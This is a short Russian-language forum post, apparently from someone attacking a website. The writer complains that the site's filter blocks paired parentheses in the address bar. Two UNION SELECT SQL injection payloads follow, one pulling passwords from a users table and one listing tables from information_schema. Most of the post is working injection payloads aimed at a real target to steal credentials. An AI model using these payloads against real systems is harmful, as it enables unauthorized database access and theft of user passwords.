видимо я не так выразился.... в адресную строку вообще НИКАК нельзя писать скобочки, возвращает пустую страницу
не пропускает именно вместе скобки открывающуюся с закрывающейся, по отдельности работает но только толку от этого ноль

union+select+1,2,password,4,5,6,7,8,9,10,11,12,13, 14,15,16,17+from+users+where+id=1+--+f

union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17+from+information_schema.tables+limit +1,1+--+f